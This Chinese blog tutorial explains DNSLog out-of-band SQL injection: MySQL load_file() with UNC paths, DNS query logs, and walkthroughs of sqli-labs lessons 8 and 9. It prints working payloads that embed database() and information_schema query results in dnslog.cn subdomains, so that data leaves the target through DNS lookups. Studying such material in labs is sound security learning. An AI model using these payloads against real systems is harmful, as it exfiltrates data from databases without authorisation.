SQL注入之DnsLog注入

一、原理

DnsLog注入可以理解成是一种技巧,而不是一种攻击方式,是一种让无回显的攻击,变得有回显的方式,包括但不限于SQL盲注,下面以盲注为例,需要有盲注的基础。

在解释原理之前,首先了解一下几样东西,如下:

1. load_file函数

Mysql数据库的load_file()函数不单可以读取本地文件,还可以通过UNC路径访问远程文件

DnsLog注入就是利用load_file()函数访问远程文件的特点,对延时盲注等无回显的注入或其他无回显的攻击带来回显。

2. UNC路径

UNC路径格式://servername/sharename/directory/filename

UNC路径就是类似上面这样形式的网络路径。它符合//servername/sharename 格式

  • servername 是服务器名或者域名

  • sharename 是共享资源的名称

UNC 名称可以包括共享名称下的目录路径 /directory/filename

实例及解读: //xclay.net/share/张三/账单.docs

如果访问上述UNC路径的话,就会得到xclay.net 服务器share共享文件夹下的张三文件夹下的账单.docs文件

3. DNS解析

网上找到一张解释DNS解析过程非常通透的图片:

f600c2cd-0986-496c-98ef-6acb995e8a87

上面这个例子:本地DNS服务器会依次询问 根、.cn、.com.cn、.cloudcrowd.com.cn 逐步获得结果

正常来讲每个查询记录都会在相应DNS服务器上留下相关的查询日志,一般来说企业或者自己部署的DNS在上图标红位置处,可以查到我们的DNS解析记录(我们向谁查了什么样的域名) 简单粗暴一点可以这么理解。

4. 原理

先看一段payload

and load_file(concat("//",database(),".dfnyy4.dnslog.cn/123")) -- clay

通过concat函数来构造UNC路径,并带出我们想要的查询结果
concat("//",database(),".dfnyy4.dnslog.cn/123")

123是为了构造UNC路径("//servername/share")随便写的: 
"//数据库名.dfnyy4.dnslog.cn/123"

所以我们只要查看查询 .dfnyy4.dnslog.cn 的DNS日志就能够看到整个回显

直接查看DNS日志比较困难,但网上有很多现成的平台:

原理:

load_file(UNC路径) 远程访问UNC路径中主机的地址,如果是域名将会进行解析并留下记录,通过查看DNS解析记录(DNS日志)来达到有回显的目的。

5. 条件

secure_file_priv值必须为空,否则没办法

d864c2ba-1048-49b0-8c5c-a232fb252bd6

二、实验

1. sqli-lab less8 布尔盲注

特征: 只有错误和正常两种回显,单引号闭合

9d8d66bf-c134-4e6e-b727-a9ec35fe8e42

24600dc5-3d86-47b1-8df3-413c199c2b54

获取域名:

访问 DnsLog 获得一个域名:

4ecc96c6-e299-494e-ad50-f0610a1c3e47

payload:

1' and load_file(concat("//",database(),".u9zk6s.dnslog.cn/123")) -- clay

获取回显

访问

c351daeb-35cf-494b-ba62-ebf8a8f3ee4c

Dnslog 刷新

1f8b8126-3b58-4b50-a6f0-05a871afed17

2. sqli-lab less9 延时盲注

特征: 单引号闭合延时盲注

f39637cb-517a-4a42-bbd4-59cf6885161a

payload:

1' and load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.u9zk6s.dnslog.cn/123')) -- clay

98ed52ce-6aaf-4a35-af96-963a9cd451d1

Ps:如果paylaod没有问题但一直刷新不出来可能是谷歌浏览器的问题,换个浏览器访问一下就可以了

如果对你有所帮助拜托拜托点赞收藏加评论666,更多文章内容欢迎访问笔者博客 :xclay.net

评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值